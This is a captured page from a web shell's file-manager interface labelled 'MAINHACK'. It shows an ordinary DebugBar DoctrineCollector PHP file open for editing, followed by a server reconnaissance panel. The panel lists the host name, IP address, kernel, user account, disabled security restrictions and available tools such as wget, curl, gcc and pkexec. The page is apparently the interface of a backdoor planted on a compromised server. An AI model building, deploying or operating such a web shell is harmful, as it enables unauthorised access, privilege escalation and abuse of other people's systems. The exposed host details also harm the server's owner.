[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DoctrineCollector.php
<?php /* * This file is part of the DebugBar package. * * (c) 2013 Maxime Bouroumeau-Fuseau * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace DebugBar\Bridge; use DebugBar\DataCollector\AssetProvider; use DebugBar\DataCollector\DataCollector; use DebugBar\DataCollector\Renderable; use DebugBar\DebugBarException; use Doctrine\DBAL\Logging\DebugStack; use Doctrine\ORM\EntityManager; /** * Collects Doctrine queries * * http://doctrine-project.org * * Uses the DebugStack logger to collects data about queries * * <code> * $debugStack = new Doctrine\DBAL\Logging\DebugStack(); * $entityManager->getConnection()->getConfiguration()->setSQLLogger($debugStack); * $debugbar->addCollector(new DoctrineCollector($debugStack)); * </code> */ class DoctrineCollector extends DataCollector implements Renderable, AssetProvider { protected $debugStack; /** * DoctrineCollector constructor. * @param $debugStackOrEntityManager * @throws DebugBarException */ public function __construct($debugStackOrEntityManager) { if ($debugStackOrEntityManager instanceof EntityManager) { $debugStackOrEntityManager = $debugStackOrEntityManager->getConnection()->getConfiguration()->getSQLLogger(); } if (!($debugStackOrEntityManager instanceof DebugStack)) { throw new DebugBarException("'DoctrineCollector' requires an 'EntityManager' or 'DebugStack' object"); } $this->debugStack = $debugStackOrEntityManager; } /** * @return array */ public function collect() { $queries = array(); $totalExecTime = 0; foreach ($this->debugStack->queries as $q) { $queries[] = array( 'sql' => $q['sql'], 'params' => (object) $q['params'], 'duration' => $q['executionMS'], 'duration_str' => $this->formatDuration($q['executionMS']) ); $totalExecTime += $q['executionMS']; } return array( 'nb_statements' => count($queries), 'accumulated_duration' => $totalExecTime, 'accumulated_duration_str' => $this->formatDuration($totalExecTime), 'statements' => $queries ); } /** * @return string */ public function getName() { return 'doctrine'; } /** * @return array */ public function getWidgets() { return array( "database" => array( "icon" => "arrow-right", "widget" => "PhpDebugBar.Widgets.SQLQueriesWidget", "map" => "doctrine", "default" => "[]" ), "database:badge" => array( "map" => "doctrine.nb_statements", "default" => 0 ) ); } /** * @return array */ public function getAssets() { return array( 'css' => 'widgets/sqlqueries/widget.css', 'js' => 'widgets/sqlqueries/widget.js' ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.68 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002